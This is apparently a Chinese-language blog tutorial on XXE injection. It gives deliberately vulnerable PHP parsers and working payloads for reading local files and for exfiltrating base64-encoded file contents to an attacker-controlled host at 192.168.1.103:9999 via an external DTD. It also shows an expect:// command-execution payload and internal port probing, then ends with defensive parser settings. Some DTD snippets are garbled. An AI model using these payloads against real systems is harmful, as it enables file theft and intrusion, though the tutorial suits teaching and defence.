XXE学习笔记(持续更新....)

漏洞简介

XXE漏洞全称叫做XML外部实体注入漏洞,说白了就是程序中xml可控,而且支持引用外部实体定义DTD从而造成此漏洞。

XML基础

XML分为三个部分:XML声明,文档类型定义(DTD),文档元素。

我们主要来看DTD。
DTD作用是定义XML文档的合法构建模块,DTD可以在xml文档内声明,也可以外部引用。
内部声明DTD:

1
根元素 [元素声明]>

引用外部DTD

1
根元素 SYSTEM "文件名">

或者
1
根元素 PUBLIC "public_ID" "文件名">

内部声明实体

1
实体名称 "实体的值">

引用外部实体
1
实体名称 SYSTEM "URI">

或者
1
实体名称 PUBLIC "public_ID" "URI">

漏洞原理

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
恶意外部引用:
一。

二。

DTD文件(evil.dtd)内容:

三。

不同程序支持的协议不一样:

PHP支持的扩展协议有:

XXE的危害

一.读取任意文件
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
/*
File Name : demo1
Description : https://da4er.top
date : 2020-04-22
Author : Da4er's
*/
header("Content-Type: text/html;charset=utf-8");
//php支持解析的xml代码
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;

poc:
1
2
3
4
5
6
7
<
?xml version="1.0" encoding="utf-8"
?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///d:/1.txt"> ]>
<creds>
&goodies;</creds>

上面代码是post传参,如果是get传参需要url编码一下。

成功读取本地文件内容。

上面所诉的xxe是回显的,但是在一般情况下xxe是不回显而是用于配置文件。所以我们需要另一种方法:数据外带。
原理很简单:就是在一次请求中访问我们自己的vps,而在这个请求之中包含着获取数据的请求.这样就可以让数据回显到我们的vps上。
这个有个注意点:根据规范,我们必须在DTD文件中才能完成”请求中引用另一次的请求的结果”的要求。
操作:无回显的XXE
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
/*
File Name : demo1
Description : https://da4er.top
date : 2020-04-22
Author : Da4er's
*/
header("Content-Type: text/html;charset=utf-8");
//php支持解析的xml代码
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

da4er.dtd:
1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.103:9999?p=%file;'>">

poc:
1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "http://192.168.1.103/da4er.dtd">
%dtd;%int;%send; ]>
<convert>%dtd;%int;%send;</convert>

这里需要注意几点:
1.dtd中send前面的%号要换成html实体编码,因为:实体中不能存在%
2.调用逻辑:1.看poc最后一行,首先调用%dtd发送http请求访问192.168.1.103上的da4er.dtd文件;然后调用%int,最后调用%send发送数据到9999端口中。
最后成功得到base64加密的数据:

二。RCE
如果PHP安装了expect扩展,是可以执行rce的。
这种情况很少见,并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行。当PHP环境中的PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就会造成我们说的这种情况,在这里,我们不做展开讲解。

poc:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "expect://whami">
%dtd;]>

三。XXE配合SSRF攻击内网
看到XXE的攻击姿势我们就应该想到xxe是和ssrf一样,可以对内网进行攻击。其实ssrf算不上一个漏洞而是一种攻击模式。
探测端口
poc:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "http://192.168.1.103:80">
%dtd;]>


poc:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "http://192.168.1.103:3305">
%dtd;]>

发现端口开放和不开放的返回结果不同。
xxe还有很多攻击内网的姿势:内网主机探测,钓鱼等。像strust2和内网未授权的redis可以直接getshell

XXE防御

1.使用开发语言提供的禁用外部实体的方法
php:

1
libxml_disable_entity_loader(true);

java:
1
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

python
1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
3.不允许XML中含有自己定义的DTD

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×